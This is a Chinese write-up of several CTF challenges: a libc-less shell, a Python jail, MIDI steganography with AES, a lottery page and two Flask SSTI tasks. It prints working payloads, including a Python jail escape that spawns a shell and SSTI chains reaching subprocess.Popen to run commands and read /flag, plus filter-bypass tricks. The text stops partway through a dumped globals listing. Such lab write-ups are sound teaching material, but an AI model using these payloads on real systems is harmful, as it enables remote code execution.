MISC

[Easy] nolibc

坏了,刚刚不小心 把 libc 删掉了 ,输入什么都没用了,怎么办呜呜呜 T_T。

求求你惹,能不能帮我把一份重要文件 (指 flag) 拿出来,待会儿就要用惹xwx。

rkk是不是做了MoeCTF的那个题所以出了这个……

这题我直接把我MoeCTF的Payload拿过来用的,但是跟那个题目不一样的地方在于我们不知道flag在哪里,所以我先试试看看当前目录的东西

当然,没有libc,我们是用不了ls的,所以我用了echo *

得到flag的文件名为4La9-83c566f8,还是因为没有libc,所以没有cat,所以用while+read

1
$ while IFS= read -r line; do echo "$line"; done < 4La9-83c566f8

然后就得到flag了

[Easy] py_jail

连接题目得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
code = input('> ') + '\n'

while True:
_ = input()
if _ == 'EOF':
break
code += _ + '\n'
print(code)
assert code.isascii()

for c in '(':
assert c not in code
try:
exec(code)
except Exception as e:
print('Exception!', str(e))

这里是把条件限定在了不能用小括号并且只能用ASCII字符,所以我们就不能用花体字(同字母但是非ASCII)来逃逸了

稍微搜了一下,发现可以用魔术方法,我先把我的payload放这里

1
2
3
from os import system as __getattr__
from __main__ import sh
EOF

__getattr__是Python自带的一个方法,当访问一个对象不存在的对象属性的时候就会被调用,在这里我们用from os import system as __getattr__提前把 __getattr__改成了system函数

接着,从from __main__ import sh,我们正在运行的程序会被Python认为是__main__模块,而sh是这个模块里面不存在的一个属性,所以__getattr__会被调用,而我们的属性名为sh,所以本来是__getattr__("sh")会被拼接成system("sh"),达到了获得shell的目的

接着就是读取flag了,这个就没啥好说的了

[Easy] [Black MIDI] Bad Apple!!

rk 最近想起了几年前看的 黑乐谱 视频,想着自己能不能也编出一套黑乐谱。

为了学习黑乐谱,于是开始学习使用 MIDI 编辑器,开始尝试的第一步。

你能不能找出来 rk 学习时在 MIDI 里夹带的私货?

Bad Apple = BA = Base + AES

QED.

把MIDI丢到Audacity看,逐个轨道观察,发现第13轨道有类似于摩斯电码的东西

转移出来得到TOHOMUSICDAISUKI

然后在rkk的助攻下,下了个专业(真的专业吗)的MIDI编辑器看

发现第12轨道有名称flag,并且刚刚的13轨道名称为key,于是联想到AES加密

在这编辑器里把其他轨道都删除,然后只保留12轨道,另存为文件,丢入010Editor,发现除了下图红框部分,下面的内容都可以每9个字节分为一组,并且有固定的格式00 9C {31} 40 9E 00 8C {31} 00,其中{31}处是可变的,猜测为音符对应的十六进制

写个脚本提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def extract_variable_numbers(hex_file_path):
with open(hex_file_path, 'rb') as f:
data = f.read()

# 去除文件头和相关信息
data = data[49:]

# 初始化提取的数字列表
variable_numbers = []

# 9个一组
for i in range(0, len(data) - 8, 9):
group = data[i:i+9]
print(group)
# 判断当前组是否符合格式
if len(group) == 9:
if group[:2] == b'\x00\x9C' and group[3:5] == b'\x40\x9E' and group[5:6] == b'\x00' and group[6:7] == b'\x8C' and group[8:9] == b'\x00':
# 提取出中间的数据部分
variable_numbers.append(group[2:3].hex())

else:
break # 不符合格式则停止提取

return variable_numbers

hex_file_path = 'flag.mid' # 只有13轨道的MIDI文件
numbers = extract_variable_numbers(hex_file_path)

print("Numbers: " + " ".join(numbers))

可以得到十六进制数据

1
31 47 41 45 4e 43 75 6d 36 6d 79 54 39 44 4a 6e 31 4f 6e 65 2b 52 70 61 41 5a 50 50 2f 73 38 78 45 45 2f 69 53 46 34 79 75 2b 44 72 77 73 72 2b 54 68 59 4f 71 49 47 30 73 54 38 55 59 58 48 30 45 38 31 6b 6a 6d 67 31 44 42 53 49 55 41 38 32 33 79 33 74 51 32 55 58 4d 33 33 36 45 55 51 57 73 4b 62 61 65 73 71 70 58 54 4d 3d

再来个AES解密脚本(注意这里密文的padding有问题),这里是猜测了向量跟密钥一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import base64

def aes_decrypt(ciphertext_base64, key):
ciphertext = base64.b64decode(ciphertext_base64)

# 将密钥转为字节
key_bytes = key.encode('utf-8')

iv = key_bytes[:AES.block_size]

# 初始化 AES 解密器
cipher = AES.new(key_bytes, AES.MODE_CBC, iv)

try:
decrypted_data = cipher.decrypt(ciphertext)
except ValueError as e:
print(f"解密失败: {e}")
decrypted_data = None

if decrypted_data is None:
return "解密失败"

return decrypted_data.decode('utf-8', errors='ignore')

ciphertext_base64 = "1GAENCum6myT9DJn1One+RpaAZPP/s8xEE/iSF4yu+Drwsr+ThYOqIG0sT8UYXH0E81kjmg1DBSIUA823y3tQ2UXM336EUQWsKbaesqpXTM="
key = "TOHOMUSICDAISUKI"

decrypted_text = aes_decrypt(ciphertext_base64, key)
print("解密后的文本:", decrypted_text)

发现解密出来为乱码

然后我又去对了个思路,结果rkk跟我说摩斯电码不分大小写

行吧,吃了没经验的亏,把key改为小写后得到flag:flag{h0orAy!y0U_v3_a1r3@dY_l33rnt_a_1ittl3_b17_aB0uT_b1ak_m1dI}

下面附上一个其他选手的提取脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from mido import MidiFile
import base64

midi = MidiFile("[Black MIDI] Bad Apple!!.mid")

track = midi.tracks[12]
high_notes = []

for msg in track:
if msg.type == "note_on" and msg.velocity > 0:
if msg.note > 0:
high_notes.append(msg.note)

print("高音值序列:", high_notes)

ascii = "".join(chr(note) for note in high_notes)
print("ASCII 解码结果:", ascii)

WEB

[Easy] Sign_in_ADCTF

出题人: Ak1M1O

11811 端口对应为 HTTP 服务,请通过 浏览器其他 HTTP 相关工具 进行访问

M1O 在宣讲会中签到签退失败,这次他一定要签到成功

打开是一个网页,按F12发现hint

然后凭借手速调用后,提示flag在图片里

在图片的备注中发现要在公众号发送关键词

然后发送了就得到flag了

[Easy] sst1

出题人: unknown

11811 端口对应为 HTTP 服务,请通过 浏览器其他 HTTP 相关工具 进行访问

这是一个超有趣的 CTF 题目~

基于 Flask 的应用,隐藏着一个小小漏洞哦~

你需要通过巧妙地构造输入,绕过一些简单的过滤,触发代码执行,从而拿到 flag!

加油呀,快来挑战一下这个小小的漏洞吧!

看提示明显SSTI题目,顺带得到如下的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from flask import Flask, request, render_template_string
from hashlib import md5

app = Flask(__name__)

# 黑名单字符
black_list = ['[', '\'']

# WAF 检测函数
def waf(name):
for x in black_list:
if x in name.lower():
print(x)
return True
return False

# 主页路由
@app.route('/')
def index():
return open(__file__).read() # 读取并返回当前文件的内容

# 处理用户提交的实验路由
@app.post('/exp')
def user():
exp = request.form.get("exp")
digest = request.form.get("digest")

# 检查 exp 和 digest 是否存在
if not exp:
return 'need exp'
if not digest:
return 'need digest'

# 检查 digest 是否匹配 exp 的 MD5 哈希
if not digest == md5(exp.encode()).hexdigest():
return 'digest not match'

# 检查 exp 是否包含黑名单字符
if waf(exp):
return "No hacker"

# 渲染用户输入的模板
return render_template_string(exp)

if __name__ == '__main__':
# 运行 Flask 应用
app.run("0.0.0.0", port=11111)

看起来就是把payload丢在exp里面,但是digest会进行md5计算,当md5值与digest相等时才会运行payload

并且,题目禁用了[',这两个很好绕过,'可以用"直接代替,而[]可以用<super>.__getitem__(index)来代替,先顺手写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import httpx
from hashlib import md5
import html

client = httpx.Client(
headers={
"Authorization": "Basic dXNlcjpmNjRhNmFjMDY2Yjg5YzRiNTczOTg3ODE4Y2RiYzM0Ng=="
}
)

while True:
payload = input("Payload> ").replace("'", '"')
digest = md5(payload.encode()).hexdigest()
response = client.post(
"http://120.76.118.202:33025/exp", data={"exp": payload, "digest": digest}
)
print(html.unescape(response.text))

然后就是不断尝试的环节,先用{{''.__class__.__mro__.__getitem__(1)}}得到object,然后调用__subclasses__()找到所有的子类,得到了下面这个特别特别长的list

1
2
3
4
5
6
7
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_ 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_ass 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <clas
'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>erseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'oclass 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.Generianext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <cer'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionTodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_ock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_import'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'rementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frernal.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_exter
<class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABCtions.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <cabc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.Dist <class '_distutils_hack.shim'>, <class '__future__._Feature'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertoolsitertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <cle'>, <class 'itertools._tee_dataobject'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collectio'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'functools 'functools._lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_proontextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, peVarLike'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.NewTing.io'>, <class 'typing.re'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'ctor'>, <class '_socket.socket'>, <class 'array.array'>, <class 'array.arrayiterator'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condhreading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreadtserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'ast.AST'>, <class 'weakr>, <class 'weakref.finalize'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultM
'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.differen 'email._parseaddr.AddrlistClass'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'email.charset.Charset'>, <class 'email.header.Heail.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.Bys 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.SSLSession'>, <class '_ssl.Certificate'>, <class <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressorze.Untokenizer'>, <class 'traceback._Sentinel'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatteng.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>,e._MarkupEscapeHelper'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.datastructures.mixins.ImmutableListMixin'>, <class 'werkzeug.datastructures.mixins.ImmutableHeadersMixin'>, <class '_hashlib.HAhlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.Se'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'uractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'werkzeug.datastructures.auth.Authorization'>, <clasructures.auth.WWWAuthenticate'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspe>, <class 'inspect.Signature'>, <class 'werkzeug.datastructures.headers.Headers'>, <class 'werkzeug.datastructures.file_storage.FileStorage'>, <class 'werkzeug.datastructures.range.IfRange'>, <class 'werkzeugnge.Range'>, <class 'werkzeug.datastructures.range.ContentRange'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._KW_ONLY_TYPE'>, <class 'dataclass
<class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werpart.MultipartEncoder'>, <class 'importlib._abc.Loader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'unicodedata.UCD'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <gi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.uest'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'werkzeug.test.Cookie'>.local.Local'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextMaumbers.Number'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class 'uuid.UUID'>, <class 'flask.json.provider.JSONProvider'>, <class 'gettext.NullTranslatick._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, er.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.co
<class 'click.core.Parameter'>, <class 'werkzeug.routing.converters.BaseConverter'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <classnter'>, <class 'werkzeug.routing.rules.RulePart'>, <class 'werkzeug.routing.rules.RuleFactory'>, <class 'werkzeug.routing.rules.RuleTemplate'>, <class 'werkzeug.routing.matcher.State'>, <class 'werkzeug.routichineMatcher'>, <class 'werkzeug.routing.map.Map'>, <class 'werkzeug.routing.map.MapAdapter'>, <class '_csv.Dialect'>, <class '_csv.reader'>, <class '_csv.writer'>, <class 'csv.Dialect'>, <class 'csv.DictReadDictWriter'>, <class 'csv.Sniffer'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'zipfile.Zzipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'textwrap.TextWrapper'>, <cl.Finder'>, <class 'importlib.abc.MetaPathFinder'>, <class 'importlib.abc.PathEntryFinder'>, <class 'importlib.abc.ResourceReader'>, <class 'importlib.metadata.Sectioned'>, <class 'importlib.metadata.Deprecatetlib.metadata.FileHash'>, <class 'importlib.metadata.Distribution'>, <class 'importlib.metadata.DistributionFinder.Context'>, <class 'importlib.metadata.FastPath'>, <class 'importlib.metadata.Lookup'>, <classta.Prepared'>, <class 'blinker._utilities.Symbol'>, <class 'blinker.base.Signal'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.Request
'_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <clJoiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler. 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Mnja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class '.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2r'>, <class 'flask.sansio.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>on.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.sansio.blueprints.BlueprintSetupState'>]

然后我用了点小技巧,把头尾的[]掐掉,然后把所有的, 替换为\n,就可以按照行号大概寻找到范围,然后搜索一下subprocess,找到行号为338,但是肯定不是338,因为这些数据并没有处理完全(例如图中348行就明显不对)

然后继续使用__getitem__()尝试,最终确定索引为365

1
2
Payload> {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(365)}}
<class 'subprocess.Popen'>

然后就好办了,直接上手

1
2
Payload> {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(365)("whoami", shell=True,stdout=-1).communicate()[0].strip()}} 
No hacker

emmmm,翻车了,发现[]没去掉,不过没所谓,可以不要那个[0].strip()的,直接删掉,然后试试whoami

1
2
Payload> {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(365)("whoami", shell=True,stdout=-1).communicate()}}            
(b'root\n', None)

此时,我们已经得到shell权限了,直接cat一下flag就行了

1
2
Payload> {{''.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(365)("cat /flag", shell=True,stdout=-1).communicate()}} 
(b'flag{47bbff15-76de-4fa3-8a98-8e9dc5f7c08f}\n', None)

[Easy] lottery

来抽个奖,签下到!

能不能抽到 flag,就看你是欧还是非 >w<!

非酋是永远出不来的,还是得上手段

一道签到题,打开网站就能看到有两个卡池,然后在控制台能翻json,里面有列表,在空池子发现NameFlag的内容

内容拿出来直接b64解码就行

[Normal] sst2

哇,黑名单变多了呀!这下题目更有挑战性啦~

不过,挑战越大,成就感也越强哦!

访问得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask, request, render_template_string
from hashlib import md5

app = Flask(__name__)

# 黑名单字符列表
black_list = ['\'', '"', 'lipsum', '.', '[']

def waf(name):
# 遍历黑名单字符,如果在输入的字符串中发现,返回 True
for x in black_list:
if x in name.lower():
print(x)
return True
return False

@app.route('/')
def index():
return open(__file__).read()

@app.post('/exp')
def user():
exp = request.form.get("exp")
digest = request.form.get("digest")

if not exp:
return 'need exp'

if not digest:
return 'need digest'

# 验证传递的 digest 是否与 exp 的 MD5 值匹配
if not digest == md5(exp.encode()).hexdigest():
return 'digest not match'

# 如果 exp 中有黑名单字符,返回安全提示
if waf(exp):
return "No hacker"

# 如果通过验证,返回渲染后的字符串
return render_template_string(exp)

if __name__ == '__main__':
app.run("0.0.0.0", port=11111)

发现黑名单完全禁用了引号,还有点,也就是说我们不能用__getitem__的方式来拿到object里面的函数了

经过简单的搜索以后,前辈师傅们的文章告诉我还有用attr来获取里面对象的方式,具体用法是这样的

  • {{ obj|attr(dict_key_name) }}
  • {{ obj|attr(pop)(index) }}

其中这个pop就是一个方法,其实就是调用attr.pop,所以要用pop首先得构造出pop,继续用SSTI第一题的那个脚本来方便自己做题

禁用了引号也有其他方式构造字符串,我这里用了dict的join,先构造出pop

1
2
Payload> {% set pop=dict(po=a,p=b)|join %}{% print pop %} 
pop

就得到了pop字符串,为了得到__builtins__,我还需要一个__globals__,用同样的方式弄出来

1
2
Payload> {% set globals=dict(__globals=a,__=b)|join %}{% print globals %}
__globals__

我用了url_for来获取我所需要的对象

1
Payload> {% set pop=dict(po=a,p=b)|join %}{% set globals=dict(__globals=a,__=b)|join %}{% set global_obj=url_for|attr(globals) %}{% print global_obj %}

然后就得到了__globals__,内容如下(太长了,我用GPT格式化了一下要不然很难看清)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
{
'__name__': 'flask.app',
'__doc__': None,
'__package__': 'flask',
'__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f30c7a04bb0>,
'__spec__': ModuleSpec(
name='flask.app',
loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f30c7a04bb0>,
origin='/usr/local/lib/python3.10/site-packages/flask/app.py'
),
'__file__': '/usr/local/lib/python3.10/site-packages/flask/app.py',
'__cached__': '/usr/local/lib/python3.10/site-packages/flask/__pycache__/app.cpython-310.pyc',
'__builtins__': {
'__name__': 'builtins',
'__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.",
'__package__': '',
'__loader__': <class '_frozen_importlib.BuiltinImporter'>,
'__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'),
'__build_class__': <built-in function __build_class__>,
'__import__': <built-in function __import__>,
'abs': <built-in function abs>,
'all': <built-in function all>,
'any': <built-in function any>,
'ascii': <built-in function ascii>,
'bin': <built-in function bin>,
'breakpoint': <built-in function breakpoint>,
'callable': <built-in function callable>,
'chr': <built-in function chr>,
'compile': <built-in function compile>,
'delattr': <built-in function delattr>,
'dir': <built-in function dir>,
'divmod': <built-in function divmod>,
'eval': <built-in function eval>,
'exec': <built-in function exec>,
'format': <built-in function format>,
'getattr': <built-in function getattr>,
'globals': <built-in function globals>,
'hasattr': <built-in function hasattr>,
'hash': <built-in function hash>,
'hex': <built-in function hex>,
'id': <built-in function id>,
'input': <built-in function input>,
'isinstance': <built-in function isinstance>,
'issubclass': <built-in function issubclass>,
'iter': <built-in function iter>,
'aiter': <built-in function aiter>,
'len': <built-in function len>,
'locals': <built-in function locals>,
'max': <built-in function max>,
'min': <built-in function min>,
'next': <built-in function next>,
'anext': <built-in function anext>,
'oct': <built-in function oct>,
'ord': <built-in function ord>,
'pow': <built-in function pow>,
'print': <built-in function print>,
'repr': <built-in function repr>,
'round': <built-in function round>,
'setattr': <built-in function setattr>,
'sorted': <built-in function sorted>,
'sum': <built-in function sum>,
'vars': <built-in function vars>,
'None': None,
'Ellipsis': Ellipsis,
'NotImplemented': NotImplemented,
'False': False,
'True': True,
'bool': <class 'bool'>,
'memoryview': <class 'memoryview'>,
'bytearray': <class 'bytearray'>,
'bytes': <class 'bytes'>,
'classmethod': <class 'classmethod'>,
'complex': <class 'complex'>,
'dict': <class 'dict'>,
'enumerate': <class 'enumerate'>,
'filter': <class 'filter'>,
'float': <class 'float'>,
'frozenset': <class 'frozenset'>,
'property': <class 'property'>,
'int': <class 'int'>,
